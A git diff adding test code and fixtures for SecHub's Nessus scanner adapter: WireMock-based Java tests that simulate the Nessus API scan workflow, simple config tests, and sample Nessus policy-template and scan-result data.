policyTemplate.put("uuid", "uuid"+i); + + policyTemplates.put(policyTemplate); + + } + JSONObject policyTemplate = new JSONObject(); + policyTemplate.put("title", POLICY_ID); + policyTemplate.put("uuid", POLICY_UUID); + + policyTemplates.put(policyTemplate); + + policyTemplatesBody.put("templates", policyTemplates); + String shrinkedPolici = policyTemplatesBody.toString(); + + /* +-----------------------------------------------------------------------+ */ + /* +............................ fetch templates ..........................+ */ + /* +-----------------------------------------------------------------------+ */ + stubFor(get(urlEqualTo(apiURLSupport.nextURL("/editor/policy/templates"))) + .withHeader("X-Cookie", equalTo("token="+sessionToken)) + .withHeader("Content-Type", equalTo(APPLICATION_JSON)) + //.inScenario(chain.getScenario()).whenScenarioStateIs(chain.getStateBefore()) + .willReturn(aResponse() + .withStatus(HttpStatus.CREATED.value()) + .withHeader("Content-Type", APPLICATION_JSON) + .withBody(shrinkedPolici)) +// . +// willSetStateTo(chain.getStateAfter()) + ); + + /* +-----------------------------------------------------------------------+ */ + /* +............................ fetch scan id..........................+ */ + /* +-----------------------------------------------------------------------+ */ + int scanId = 3281; + stubFor(post(urlEqualTo(apiURLSupport.nextURL("/scans"))) + //.inScenario(chain.getScenario()).whenScenarioStateIs(chain.getStateBefore()) + .withHeader("X-Cookie", equalTo("token="+sessionToken)) + .withHeader("Content-Type", equalTo(APPLICATION_JSON)) + .withRequestBody(equalToJson("{ \"uuid\":\""+POLICY_UUID+"\", \"settings\":{\n" + + " \"name\":\""+EXPECTED_NAME_IN_DATA+"\",\n" + + " \"description\":\"SecHub scan "+SECHUB_TRACE_ID+" for target type "+TARGET_TYPE+"\",\n" + + " \"text_targets\":\""+TARGET_URL+"\"\n" + + " }\n" + + "}")) + .willReturn(aResponse() + .withStatus(HttpStatus.OK.value()) + .withHeader("Content-Type", APPLICATION_JSON) + .withBody("{\"scan\":{\"id\":"+scanId+"}}")) +// . +// willSetStateTo(chain.getStateAfter()) + ); + + /* +-----------------------------------------------------------------------+ */ + /* +............................ launch scan...............................+ */ + /* +-----------------------------------------------------------------------+ */ + String scanUUID="6048780b-ff64-db35-5f96-dfc9a2a371b9c0c1bf76077ee30e"; + stubFor(post(urlEqualTo(apiURLSupport.nextURL("/scans/"+scanId+"/launch"))) + //.inScenario(chain.getScenario()).whenScenarioStateIs(chain.getStateBefore()) + .withHeader("X-Cookie", equalTo("token="+sessionToken)) + .withHeader("Content-Type", equalTo(APPLICATION_JSON)) + .willReturn(aResponse() + .withStatus(HttpStatus.OK.value()) + .withHeader("Content-Type", APPLICATION_JSON) + .withBody("{\"scan_uuid\":\""+scanUUID+"\"}")) +// . +// willSetStateTo(chain.getStateAfter()) + ); + + /* +-----------------------------------------------------------------------+ */ + /* +............................ get history id for scan id ...............+ */ + /* +-----------------------------------------------------------------------+ */ + int historyId = 3282; + stubFor(get(urlEqualTo(apiURLSupport.assertCheck(5).nextURL("/scans/"+scanId))) + //.inScenario(chain.getScenario()).whenScenarioStateIs(chain.getStateBefore()) + .withHeader("X-Cookie", equalTo("token="+sessionToken)) + .withHeader("Content-Type", equalTo(APPLICATION_JSON)) + + .willReturn(aResponse() + .withStatus(HttpStatus.OK.value()) + .withHeader("Content-Type", APPLICATION_JSON) + .withBody("{\"history_id_variant_comphosts\":[],\"hosts\":[],\"notes\":null,\"remediations\":{\"remediations\":null,\"num_hosts\":0,\"num_cves\":0,\"num_impacted_hosts\":0,\"num_remediated_cves\":0},\"vulnerabilities\":[],\"filters\":[{\"operators\":[\"eq\",\"neq\",\"match\",\"nmatch\"],\"control\":{\"readable_regex\":\"TEXT\",\"type\":\"entry\",\"regex\":\".*\"},\"name\":\"hostname\",\"readable_name\":\"Hostname\"},{\"operators\":[\"eq\",\"neq\"],\"control\":{\"type\":\"dropdown\",\"list\":[\"AIX Local Security Checks\",\"Amazon Linux Local Security Checks\",\"Backdoors\",\"Brute force attacks\",\"CGI abuses\",\"CGI abuses : XSS\",\"CISCO\",\"CentOS Local Security Checks\",\"DNS\",\"Databases\",\"Debian Local Security Checks\",\"Default Unix Accounts\",\"Denial of Service\",\"F5 Networks Local Security Checks\",\"FTP\",\"Fedora Local Security Checks\",\"Firewalls\",\"FreeBSD Local Security Checks\",\"Gain a shell remotely\",\"General\",\"Gentoo Local Security Checks\",\"HP-UX Local Security Checks\",\"Huawei Local Security Checks\",\"Incident Response\",\"Junos Local Security Checks\",\"MacOS X Local Security Checks\",\"Mandriva Local Security Checks\",\"Misc.\",\"Mobile Devices\",\"Netware\",\"Offsec Plugins\",\"Offsec Plugins Disabled\",\"Oracle Linux Local Security Checks\",\"OracleVM Local Security Checks\",\"Palo Alto Local Security Checks\",\"Peer-To-Peer File Sharing\",\"Policy Compliance\",\"Port scanners\",\"RPC\",\"Red Hat Local Security Checks\",\"SCADA\",\"SMTP problems\",\"SNMP\",\"Scientific Linux Local Security Checks\",\"Service detection\",\"Settings\",\"Slackware Local Security Checks\",\"Solaris Local Security Checks\",\"SuSE Local Security Checks\",\"Ubuntu Local Security Checks\",\"VMware ESX Local Security Checks\",\"Virtuozzo Local Security Checks\",\"Web Servers\",\"Windows\",\"Windows : Microsoft Bulletins\",\"Windows : User management\"]},\"name\":\"plugin_family\",\"readable_name\":\"Plugin Family\"},{\"operators\":[\"eq\",\"neq\",\"match\",\"nmatch\"],\"control\":{\"readable_regex\":\"NUMBER\",\"type\":\"entry\",\"regex\":\"^[0-9, ]+$\"},\"name\":\"plugin_id\",\"readable_name\":\"Plugin ID\"},{\"operators\":[\"eq\",\"neq\",\"match\",\"nmatch\"],\"control\":{\"readable_regex\":\"TEXT\",\"type\":\"entry\",\"regex\":\".*\"},\"name\":\"plugin_name\",\"readable_name\":\"Plugin Name\"},{\"operators\":[\"eq\",\"neq\",\"match\",\"nmatch\"],\"control\":{\"readable_regex\":\"TEXT\",\"type\":\"entry\",\"regex\":\".*\"},\"name\":\"plugin_output\",\"readable_name\":\"Plugin Output\"},{\"operators\":[\"eq\",\"neq\",\"match\",\"nmatch\"],\"control\":{\"readable_regex\":\"80\",\"type\":\"entry\",\"regex\":\"^[0-9]+$\"},\"name\":\"port\",\"readable_name\":\"Port\"},{\"operators\":[\"eq\",\"neq\"],\"control\":{\"type\":\"dropdown\",\"list\":[\"tcp\",\"udp\",\"icmp\"]},\"name\":\"protocol\",\"readable_name\":\"Protocol\"}],\"history\":[{\"alt_targets_used\":false,\"scheduler\":0,\"status\":\"running\",\"type\":\"local\",\"uuid\":\"6048780b-ff64-db35-5f96-dfc9a2a371b9c0c1bf76077ee30e\",\"last_modification_date\":1523527046,\"creation_date\":1523527046,\"owner_id\":4,\"history_id\":"+historyId+"}],\"compliance\":[],\"info\":{\"acls\":[{\"permissions\":0,\"owner\":null,\"display_name\":null,\"name\":null,\"id\":null,\"type\":\"default\"},{\"permissions\":128,\"owner\":1,\"display_name\":\"SecHub robot\",\"name\":\"sechub\",\"id\":4,\"type\":\"user\"}],\"edit_allowed\":true,\"status\":\"running\",\"alt_targets_used\":null,\"scanner_start\":1523527046,\"policy\":\"Advanced Scan\",\"pci-can-upload\":false,\"hasaudittrail\":false,\"scan_start\":1523527046,\"user_permissions\":128,\"folder_id\":null,\"no_target\":null,\"targets\":\"http://localhost\",\"control\":true,\"timestamp\":1523527046,\"object_id\":"+scanId+",\"scanner_name\":\"Local Scanner\",\"haskb\":false,\"uuid\":\"6048780b-ff64-db35-5f96-dfc9a2a371b9c0c1bf76077ee30e\",\"hostcount\":0,\"scan_type\":\"local\",\"name\":\"FALLBACK_TRACE_ID#593858262630564\"}}")) +// .willSetStateTo(chain.getStateAfter()) + ); + + /* +-----------------------------------------------------------------------+ */ + /* +............................ fetch history information for history id + */ + /* +-----------------------------------------------------------------------+ */ + simulateCheckScanState(sessionToken, scanId, historyId, "running",6); + simulateCheckScanState(sessionToken, scanId, historyId, "running",7); + simulateCheckScanState(sessionToken, scanId, historyId, "completed",8); + + /* +-----------------------------------------------------------------------+ */ + /* +............................ trigger export ...........................+ */ + /* +-----------------------------------------------------------------------+ */ + int fileId=1455461011; + String resultExport = "{\"token\":\"bd92bd4a297fcae1f9e3a7a18d9fec9269d9ab997c5e58d9fe00ade4ecf5ecb0\",\"file\":"+fileId+"}"; + + stubFor(post(urlEqualTo(apiURLSupport.assertCheck(9).nextURL("/scans/"+scanId+"/export"))) + //.inScenario(chain.getScenario()).whenScenarioStateIs(chain.getStateBefore()) + .withHeader("X-Cookie", equalTo("token="+sessionToken)) + .withHeader("Content-Type", equalTo(APPLICATION_JSON)) +// .withRequestBody(equalToJson("{\"history_id\":\""+historyId+"\",\n" + +// " \"format\":\"nessus\"}")) // see todo inside simulateCheckScanState about WireMock problems with requestBody in GET methods... + .willReturn(aResponse() + .withStatus(HttpStatus.OK.value()) + .withHeader("Content-Type", APPLICATION_JSON) + .withBody(resultExport)) +// . +// willSetStateTo(chain.getStateAfter()) + ); + + /* +-----------------------------------------------------------------------+ */ + /* +............................ fetch status of export ...................+ */ + /* +-----------------------------------------------------------------------+ */ + simulateServerRepsonseForFileExportStatus(sessionToken, scanId, fileId, "loading",10); + simulateServerRepsonseForFileExportStatus(sessionToken, scanId, fileId, "loading",11); + simulateServerRepsonseForFileExportStatus(sessionToken, scanId, fileId, "ready",12); + + /* +-----------------------------------------------------------------------+ */ + /* +............................ Download report ..........................+ */ + /* +-----------------------------------------------------------------------+ */ + String xml = "" + + ""; + stubFor(get(urlEqualTo(apiURLSupport.assertCheck(13).nextURL("/scans/"+scanId+"/export/"+fileId+"/download"))) + //.inScenario(chain.getScenario()).whenScenarioStateIs(chain.getStateBefore()) + .withHeader("X-Cookie", equalTo("token="+sessionToken)) + .withHeader("Content-Type", equalTo(APPLICATION_JSON)) + + .willReturn(aResponse() + .withStatus(HttpStatus.OK.value()) + .withHeader("Content-Type", APPLICATION_JSON) + .withBody(xml)) +// .willSetStateTo(chain.getStateAfter()) + ); + + /* +-----------------------------------------------------------------------+ */ + /* +............................ DELETE session ...........................+ */ + /* +-----------------------------------------------------------------------+ */ + stubFor(delete(urlEqualTo(apiURLSupport.assertCheck(14).nextURL("/session"))) + //.inScenario(chain.getScenario()).whenScenarioStateIs(chain.getStateBefore()) + .withHeader("X-Cookie", equalTo("token="+sessionToken)) + .withHeader("Content-Type", equalTo(APPLICATION_JSON)) + .willReturn(aResponse() + .withStatus(HttpStatus.OK.value()) + .withHeader("Content-Type", APPLICATION_XML) + .withBody("{Connection=[close], Cache-Control=[], Pragma=[], Expires=[0], Content-Length=[0], Server=[NessusWWW], Date=[: Thu, 12 Apr 2018 10:30:31 GMT], X-Frame-Options=[DENY]}")) +// .willSetStateTo(chain.getStateAfter()) + ); + + /* @formatter:on */ + /* execute */ + String result = adapterToTest.start(config); + + /* test */ + verify(postRequestedFor(urlEqualTo("/nessustest_1/session"))); // login + verify(getRequestedFor(urlEqualTo("/nessustest_2/editor/policy/templates"))); // fetch templates + verify(postRequestedFor(urlEqualTo("/nessustest_3/scans"))); // fetch scan id + verify(postRequestedFor(urlEqualTo("/nessustest_4/scans/3281/launch")));// launch scan + verify(getRequestedFor(urlEqualTo("/nessustest_5/scans/3281"))); // get history id + verify(getRequestedFor(urlEqualTo("/nessustest_6/scans/3281"))); // get information + verify(getRequestedFor(urlEqualTo("/nessustest_7/scans/3281"))); // .. + verify(getRequestedFor(urlEqualTo("/nessustest_8/scans/3281"))); // .. + verify(postRequestedFor(urlEqualTo("/nessustest_9/scans/3281/export"))); // start export report + verify(getRequestedFor(urlEqualTo("/nessustest_10/scans/3281/export/1455461011/status"))); // get status (running) + verify(getRequestedFor(urlEqualTo("/nessustest_11/scans/3281/export/1455461011/status"))); // get status (running) + verify(getRequestedFor(urlEqualTo("/nessustest_12/scans/3281/export/1455461011/status"))); // get status (completed) + verify(getRequestedFor(urlEqualTo("/nessustest_13/scans/3281/export/1455461011/download"))); // download content + verify(deleteRequestedFor(urlEqualTo("/nessustest_14/session"))); // logout by delete session + + + assertEquals(xml, result); + } + + + private void simulateCheckScanState(String sessionToken, int scanId, int historyId,String state, int expectedCheckNr) { + /* @formatter:off */ +// String jsonBody = "{\"history_id\":\""+historyId+"\"}"; + stubFor(get(urlEqualTo(apiURLSupport.assertCheck(expectedCheckNr).nextURL("/scans/"+scanId))) + //.inScenario(chain.getScenario()).whenScenarioStateIs(chain.getStateBefore()) + .withHeader("X-Cookie", equalTo("token="+sessionToken)) + .withHeader("Content-Type", equalTo(APPLICATION_JSON)) +// .withRequestBody(equalTo(jsonBody)) // TODO Albert Tregnaghi, 2018-04-13: Maybe change when WireMock supports it... + // WireMock has currently the problem that only post requests are checked by + // withRequestBody. It seems to be defined in stubMapping but not on find method... + // so we use the apiUrlSupport to create unique urls and do the mapping as expected... + + .willReturn(aResponse() + .withStatus(HttpStatus.OK.value()) + .withHeader("Content-Type", APPLICATION_JSON) + .withBody("{\"comphosts\":[],\"hosts\":[],\"notes\":null,\"remediations\":{\"remediations\":null,\"num_hosts\":0,\"num_cves\":0,\"num_impacted_hosts\":0,\"num_remediated_cves\":0},\"vulnerabilities\":[],\"filters\":[{\"operators\":[\"eq\",\"neq\",\"match\",\"nmatch\"],\"control\":{\"readable_regex\":\"TEXT\",\"type\":\"entry\",\"regex\":\".*\"},\"name\":\"hostname\",\"readable_name\":\"Hostname\"},{\"operators\":[\"eq\",\"neq\"],\"control\":{\"type\":\"dropdown\",\"list\":[\"AIX Local Security Checks\",\"Amazon Linux Local Security Checks\",\"Backdoors\",\"Brute force attacks\",\"CGI abuses\",\"CGI abuses : XSS\",\"CISCO\",\"CentOS Local Security Checks\",\"DNS\",\"Databases\",\"Debian Local Security Checks\",\"Default Unix Accounts\",\"Denial of Service\",\"F5 Networks Local Security Checks\",\"FTP\",\"Fedora Local Security Checks\",\"Firewalls\",\"FreeBSD Local Security Checks\",\"Gain a shell remotely\",\"General\",\"Gentoo Local Security Checks\",\"HP-UX Local Security Checks\",\"Huawei Local Security Checks\",\"Incident Response\",\"Junos Local Security Checks\",\"MacOS X Local Security Checks\",\"Mandriva Local Security Checks\",\"Misc.\",\"Mobile Devices\",\"Netware\",\"Offsec Plugins\",\"Offsec Plugins Disabled\",\"Oracle Linux Local Security Checks\",\"OracleVM Local Security Checks\",\"Palo Alto Local Security Checks\",\"Peer-To-Peer File Sharing\",\"Policy Compliance\",\"Port scanners\",\"RPC\",\"Red Hat Local Security Checks\",\"SCADA\",\"SMTP problems\",\"SNMP\",\"Scientific Linux Local Security Checks\",\"Service detection\",\"Settings\",\"Slackware Local Security Checks\",\"Solaris Local Security Checks\",\"SuSE Local Security Checks\",\"Ubuntu Local Security Checks\",\"VMware ESX Local Security Checks\",\"Virtuozzo Local Security Checks\",\"Web Servers\",\"Windows\",\"Windows : Microsoft Bulletins\",\"Windows : User management\"]},\"name\":\"plugin_family\",\"readable_name\":\"Plugin Family\"},{\"operators\":[\"eq\",\"neq\",\"match\",\"nmatch\"],\"control\":{\"readable_regex\":\"NUMBER\",\"type\":\"entry\",\"regex\":\"^[0-9, ]+$\"},\"name\":\"plugin_id\",\"readable_name\":\"Plugin ID\"},{\"operators\":[\"eq\",\"neq\",\"match\",\"nmatch\"],\"control\":{\"readable_regex\":\"TEXT\",\"type\":\"entry\",\"regex\":\".*\"},\"name\":\"plugin_name\",\"readable_name\":\"Plugin Name\"},{\"operators\":[\"eq\",\"neq\",\"match\",\"nmatch\"],\"control\":{\"readable_regex\":\"TEXT\",\"type\":\"entry\",\"regex\":\".*\"},\"name\":\"plugin_output\",\"readable_name\":\"Plugin Output\"},{\"operators\":[\"eq\",\"neq\",\"match\",\"nmatch\"],\"control\":{\"readable_regex\":\"80\",\"type\":\"entry\",\"regex\":\"^[0-9]+$\"},\"name\":\"port\",\"readable_name\":\"Port\"},{\"operators\":[\"eq\",\"neq\"],\"control\":{\"type\":\"dropdown\",\"list\":[\"tcp\",\"udp\",\"icmp\"]},\"name\":\"protocol\",\"readable_name\":\"Protocol\"}],\"history\":[{\"alt_targets_used\":false,\"scheduler\":0,\"status\":\""+state+"\",\"type\":\"local\",\"uuid\":\"6048780b-ff64-db35-5f96-dfc9a2a371b9c0c1bf76077ee30e\",\"last_modification_date\":1523527046,\"creation_date\":1523527046,\"owner_id\":4,\"history_id\":"+historyId+"}],\"compliance\":[],\"info\":{\"acls\":[{\"permissions\":0,\"owner\":null,\"display_name\":null,\"name\":null,\"id\":null,\"type\":\"default\"},{\"permissions\":128,\"owner\":1,\"display_name\":\"SecHub robot\",\"name\":\"sechub\",\"id\":4,\"type\":\"user\"}],\"edit_allowed\":true,\"status\":\""+state+"\",\"alt_targets_used\":null,\"scanner_start\":1523527046,\"policy\":\"Advanced Scan\",\"pci-can-upload\":false,\"hasaudittrail\":false,\"scan_start\":1523527046,\"user_permissions\":128,\"folder_id\":null,\"no_target\":null,\"targets\":\"http://localhost\",\"control\":true,\"timestamp\":1523527046,\"object_id\":"+scanId+",\"scanner_name\":\"Local Scanner\",\"haskb\":false,\"uuid\":\"6048780b-ff64-db35-5f96-dfc9a2a371b9c0c1bf76077ee30e\",\"hostcount\":0,\"scan_type\":\"local\",\"name\":\"FALLBACK_TRACE_ID#593858262630564\"}}")) +// .willSetStateTo(chain.getStateAfter()) + ); + /* @formatter:on */ + } + + private void simulateServerRepsonseForFileExportStatus(String sessionToken, int scanId, int fileId,String status, int expectedCheckIndex) { + String resultExport = "{\"status\":\""+status+"\"}";; + stubFor(get(urlEqualTo(apiURLSupport.assertCheck(expectedCheckIndex).nextURL("/scans/"+scanId+"/export/"+fileId+"/status"))) + //.inScenario(chain.getScenario()).whenScenarioStateIs(chain.getStateBefore()) + .withHeader("X-Cookie", equalTo("token="+sessionToken)) + .withHeader("Content-Type", equalTo(APPLICATION_JSON)) + .willReturn(aResponse() + .withStatus(HttpStatus.OK.value()) + .withHeader("Content-Type", APPLICATION_JSON) + .withBody(resultExport)) +// ). +// willSetStateTo(chain.getStateAfter()) + ) + ; + } + +} \ No newline at end of file diff --git a/sechub-adapter-nessus/src/test/java/com/daimler/sechub/adapter/nessus/NessusConfigBuilderTest.java b/sechub-adapter-nessus/src/test/java/com/daimler/sechub/adapter/nessus/NessusConfigBuilderTest.java new file mode 100644 index 0000000000..8e87196f42 --- /dev/null +++ b/sechub-adapter-nessus/src/test/java/com/daimler/sechub/adapter/nessus/NessusConfigBuilderTest.java @@ -0,0 +1,28 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.nessus; + +import static org.junit.Assert.*; + +import org.junit.Test; + +import com.daimler.sechub.adapter.AbstractAdapterConfig; +import com.daimler.sechub.adapter.AbstractAdapterConfigBuilder; +import com.daimler.sechub.adapter.nessus.NessusConfig.NessusConfigBuilder; + +/** + * Name handling is tested here because its very important when using NETSPARKER (each name produces costs) + * @author Albert Tregnaghi + * + */ +public class NessusConfigBuilderTest { + + @Test + public void configBuilder_is_child_of_abstract_adapter_config_builder() { + assertTrue(AbstractAdapterConfigBuilder.class.isAssignableFrom(NessusConfigBuilder.class)); + } + @Test + public void config_is_child_of_abstract_adapter_config() { + assertTrue(AbstractAdapterConfig.class.isAssignableFrom(NessusConfig.class)); + } + +} diff --git a/sechub-adapter-nessus/src/test/java/com/daimler/sechub/adapter/nessus/NessusConfigTest.java b/sechub-adapter-nessus/src/test/java/com/daimler/sechub/adapter/nessus/NessusConfigTest.java new file mode 100644 index 0000000000..24e59402fd --- /dev/null +++ b/sechub-adapter-nessus/src/test/java/com/daimler/sechub/adapter/nessus/NessusConfigTest.java @@ -0,0 +1,23 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.nessus; + +import static org.junit.Assert.*; + +import org.junit.Test; + +import com.daimler.sechub.adapter.AbstractAdapterConfig; +import com.daimler.sechub.adapter.AbstractAdapterConfigBuilder; +import com.daimler.sechub.adapter.nessus.NessusConfig.NessusConfigBuilder; + +public class NessusConfigTest { + @Test + public void configBuilder_is_child_of_abstract_adapter_config_builder() { + assertTrue(AbstractAdapterConfigBuilder.class.isAssignableFrom(NessusConfigBuilder.class)); + } + + @Test + public void config_is_child_of_abstract_adapter_config() { + assertTrue(AbstractAdapterConfig.class.isAssignableFrom(NessusConfig.class)); + } + +} diff --git a/sechub-adapter-nessus/src/test/java/com/daimler/sechub/adapter/nessus/NessusStateTest.java b/sechub-adapter-nessus/src/test/java/com/daimler/sechub/adapter/nessus/NessusStateTest.java new file mode 100644 index 0000000000..7eba4af71f --- /dev/null +++ b/sechub-adapter-nessus/src/test/java/com/daimler/sechub/adapter/nessus/NessusStateTest.java @@ -0,0 +1,19 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.nessus; + +import static org.junit.Assert.*; + +import org.junit.Test; + +public class NessusStateTest { + + @Test + public void is_wellknown_return_true_for_Completed() { + assertTrue(NessusState.isWellknown("completed")); + } + + @Test + public void is_wellknown_return_false_for_Unknown() { + assertFalse(NessusState.isWellknown("unknown")); + } +} diff --git a/sechub-adapter-nessus/src/test/resources/README.md b/sechub-adapter-nessus/src/test/resources/README.md new file mode 100644 index 0000000000..b212e8580b --- /dev/null +++ b/sechub-adapter-nessus/src/test/resources/README.md @@ -0,0 +1,6 @@ + +About this folder +================= +You will find nessus outputs from real world scans! + +Some of the files are used inside tests to ensure the format can be imported/used. \ No newline at end of file diff --git a/sechub-adapter-nessus/src/test/resources/nessus_7.0.2.get_policies_result.json b/sechub-adapter-nessus/src/test/resources/nessus_7.0.2.get_policies_result.json new file mode 100644 index 0000000000..b6908e176c --- /dev/null +++ b/sechub-adapter-nessus/src/test/resources/nessus_7.0.2.get_policies_result.json @@ -0,0 +1,236 @@ +{ + "templates": [ + { + "unsupported": false, + "desc": "Approved for quarterly external scanning as required by PCI.", + "subscription_only": false, + "title": "PCI Quarterly External Scan", + "is_agent": null, + "uuid": "cfc46c2d-30e7-bb2b-3b92-c75da136792d080c1fffcc429cfd", + "manager_only": false, + "name": "asv" + }, + { + "unsupported": false, + "desc": "A simple scan to discover live hosts and open ports.", + "subscription_only": false, + "title": "Host Discovery", + "is_agent": null, + "uuid": "bbd4f805-3966-d464-b2d1-0079eb89d69708c3a05ec2812bcf", + "manager_only": false, + "name": "discovery" + }, + { + "unsupported": false, + "desc": "Remote and local checks for MS17-010.", + "subscription_only": false, + "title": "WannaCry Ransomware", + "is_agent": null, + "uuid": "861a8b95-f04c-40b0-ece6-263b1bec457c09cfc122c9666645", + "manager_only": false, + "name": "wannacry" + }, + { + "unsupported": false, + "desc": "Remote and local checks for CVE-2017-5689.", + "subscription_only": false, + "title": "Intel AMT Security Bypass", + "is_agent": null, + "uuid": "3f514e0e-66e0-8ea2-b6e7-d2d86b526999a93a89944d19e1f1", + "manager_only": false, + "name": "intelamt" + }, + { + "unsupported": false, + "desc": "A full system scan suitable for any host.", + "subscription_only": false, + "title": "Basic Network Scan", + "is_agent": null, + "uuid": "731a8e52-3ea6-a291-ec0a-d2ff0619c19d7bd788d6be818b65", + "manager_only": false, + "name": "basic" + }, + { + "unsupported": false, + "desc": "Authenticate to hosts and enumerate missing updates.", + "subscription_only": false, + "title": "Credentialed Patch Audit", + "is_agent": null, + "uuid": "0625147c-30fe-d79f-e54f-ce7ccd7523e9b63d84cb81c23c2f", + "manager_only": false, + "name": "patch_audit" + }, + { + "unsupported": false, + "desc": "Scan for published and unknown web vulnerabilities.", + "subscription_only": false, + "title": "Web Application Tests", + "is_agent": null, + "uuid": "c3cbcd46-329f-a9ed-1077-554f8c2af33d0d44f09d736969bf", + "manager_only": false, + "name": "webapp" + }, + { + "unsupported": false, + "desc": "Scan for malware on Windows and Unix systems.", + "subscription_only": false, + "title": "Malware Scan", + "is_agent": null, + "uuid": "d16c51fa-597f-67a8-9add-74d5ab066b49a918400c42a035f7", + "manager_only": false, + "name": "malware" + }, + { + "more_info": "http://www.tenable.com/products/nessus/nessus-manager", + "unsupported": false, + "desc": "Assess mobile devices via Microsoft Exchange or an MDM.", + "subscription_only": false, + "title": "Mobile Device Scan", + "is_agent": null, + "uuid": "8382be4c-2056-51fe-65a3-a376b7912a013d58cfc392e0fac5", + "manager_only": true, + "name": "mobile" + }, + { + "more_info": "http://www.tenable.com/products/nessus/nessus-manager", + "unsupported": false, + "desc": "Audit the configuration of mobile device managers.", + "subscription_only": false, + "title": "MDM Config Audit", + "is_agent": null, + "uuid": "fbcff9e6-0c8c-e6a9-4d8a-a43a6ee7c04b3fa5e24c0fc81b34", + "manager_only": true, + "name": "mdm" + }, + { + "unsupported": false, + "desc": "Audit system configurations against a known baseline.", + "subscription_only": false, + "title": "Policy Compliance Auditing", + "is_agent": null, + "uuid": "40345bfc-48be-37bc-9bce-526bdce37582e8fee83bcefdc746", + "manager_only": false, + "name": "compliance" + }, + { + "unsupported": false, + "desc": "Perform an internal PCI DSS (11.2.1) vulnerability scan.", + "subscription_only": false, + "title": "Internal PCI Network Scan", + "is_agent": null, + "uuid": "e460ea7c-7916-d001-51dc-e43ef3168e6e20f1d97bdebf4a49", + "manager_only": false, + "name": "pci" + }, + { + "unsupported": false, + "desc": "Audit the configuration of network devices.", + "subscription_only": false, + "title": "Offline Config Audit", + "is_agent": null, + "uuid": "1384f3ce-0376-7801-22db-a91e1ae16dea8d863e17313802b1", + "manager_only": false, + "name": "offline" + }, + { + "unsupported": false, + "desc": "Audit the configuration of third-party cloud services.", + "subscription_only": false, + "title": "Audit Cloud Infrastructure", + "is_agent": null, + "uuid": "97f94b3b-f843-92d1-5e7a-df02f9dbfaaef40ae03bfdfa7239", + "manager_only": false, + "name": "cloud_audit" + }, + { + "unsupported": false, + "desc": "Audit systems using SCAP and OVAL definitions.", + "subscription_only": false, + "title": "SCAP and OVAL Auditing", + "is_agent": null, + "uuid": "fb9cbabc-af67-109e-f023-1e0d926c9e5925eee7a0aa8a8bd1", + "manager_only": false, + "name": "scap" + }, + { + "unsupported": false, + "desc": "Create a scan using a previously defined policy.", + "subscription_only": false, + "title": "Custom Scan", + "is_agent": null, + "uuid": "ab4bacd2-05f6-425c-9d79-3ba3940ad1c24e51e1f403febe40", + "manager_only": false, + "name": "custom" + }, + { + "unsupported": false, + "desc": "Remote and local checks for CVE-2014-6271 and CVE-2014-7169.", + "subscription_only": false, + "title": "Bash Shellshock Detection", + "is_agent": null, + "uuid": "65d5b7ce-8d3b-d0df-f473-40633bb6122108a510a44374a167", + "manager_only": false, + "name": "shellshock" + }, + { + "unsupported": false, + "desc": "Local checks for CVE-2015-0235.", + "subscription_only": false, + "title": "GHOST (glibc) Detection", + "is_agent": null, + "uuid": "f10bc363-deb5-7218-b4ae-e08c85f84aa089ba9aa631170429", + "manager_only": false, + "name": "ghost" + }, + { + "unsupported": false, + "desc": "Remote checks for CVE-2016-0800.", + "subscription_only": false, + "title": "DROWN Detection", + "is_agent": null, + "uuid": "b9e01ede-c502-a064-cbca-e0f75d7743549709aaa0d800a65e", + "manager_only": false, + "name": "drown" + }, + { + "unsupported": false, + "desc": "Remote and local checks for CVE-2016-2118 and CVE-2016-0128.", + "subscription_only": false, + "title": "Badlock Detection", + "is_agent": null, + "uuid": "94077f40-5408-f59f-07b1-658c66bed20e1a2c8dfd7bf7c12a", + "manager_only": false, + "name": "badlock" + }, + { + "unsupported": false, + "desc": "Scan for vulnerabilities disclosed in the Shadow Brokers leaks.", + "subscription_only": false, + "title": "Shadow Brokers Scan", + "is_agent": null, + "uuid": "2e823751-74a7-4d93-8067-ae301b2523037a8a9aaabacadaea", + "manager_only": false, + "name": "shadow_brokers" + }, + { + "unsupported": false, + "desc": "Remote and local checks for CVE-2017-5753, CVE-2017-5715, and CVE-2017-5754", + "subscription_only": false, + "title": "Spectre and Meltdown", + "is_agent": null, + "uuid": "5dd44847-3c6a-412c-b916-6cc21dd80785df97ab44910aceee", + "manager_only": false, + "name": "spectre_meltdown" + }, + { + "unsupported": false, + "desc": "Configure a scan without using any recommendations.", + "subscription_only": false, + "title": "Advanced Scan", + "is_agent": null, + "uuid": "ad629e16-03b6-8c1d-cef6-ef8c9dd3c658d24bd260ef5f9e66", + "manager_only": false, + "name": "advanced" + } + ] +} diff --git a/sechub-adapter-nessus/src/test/resources/nessus_7.0.2.result.xml b/sechub-adapter-nessus/src/test/resources/nessus_7.0.2.result.xml new file mode 100644 index 0000000000..5bddb6c690 --- /dev/null +++ b/sechub-adapter-nessus/src/test/resources/nessus_7.0.2.result.xml @@ -0,0 +1,8394 @@ + + +Advanced Scan +plugin_set +84316;36080;93635;32809;87560;61117;35292;75260;83156;103773;12899;61271;82513;60338;56376;56763;77796;85655;99304;90783;79951;102224;94560;74778;36701;24927;75947;79410;77675;80304;31254;56940;77913;52488;71507;34562;56031;20067;101840;105154;20870;36729;58411;28203;91796;74090;79571;51613;68598;14866;14848;84756;77682;15647;34014;63001;78239;49989;34382;80895;59433;37168;73673;104650;13697;36153;52647;18318;106660;48778;32133;12946;71529;27680;55108;82334;84972;50808;96632;85689;89197;66586;13585;55264;45589;78979;69778;19888;63394;61082;68681;92042;71451;24796;54754;78797;97572;20066;64490;73861;58989;60381;90416;51169;11828;14404;103210;51771;106645;63800;40222;26457;53891;23960;94614;56689;79865;79937;38632;76254;72826;20479;106141;105708;102496;91390;51258;57118;41336;11789;62383;32146;88711;99970;41530;42354;79216;58362;60475;39496;52013;72329;24105;96180;78288;63152;41573;20742;88842;90837;68542;86053;52424;22965;52429;10296;68524;88703;34171;20131;24704;87941;35303;93121;101830;19200;21498;41079;70704;106480;67992;78686;31983;53047;79190;41085;84790;40959;63055;50835;82047;41852;82769;104881;19237;60258;19694;51128;40576;55697;94139;94327;96363;13571;24755;13911;11536;99638;46250;84063;66357;83845;51201;89950;52859;103177;75526;11227;105158;79803;24288;52686;27519;105046;72543;42195;72304;73184;35521;63414;11745;72527;99117;92656;12560;90040;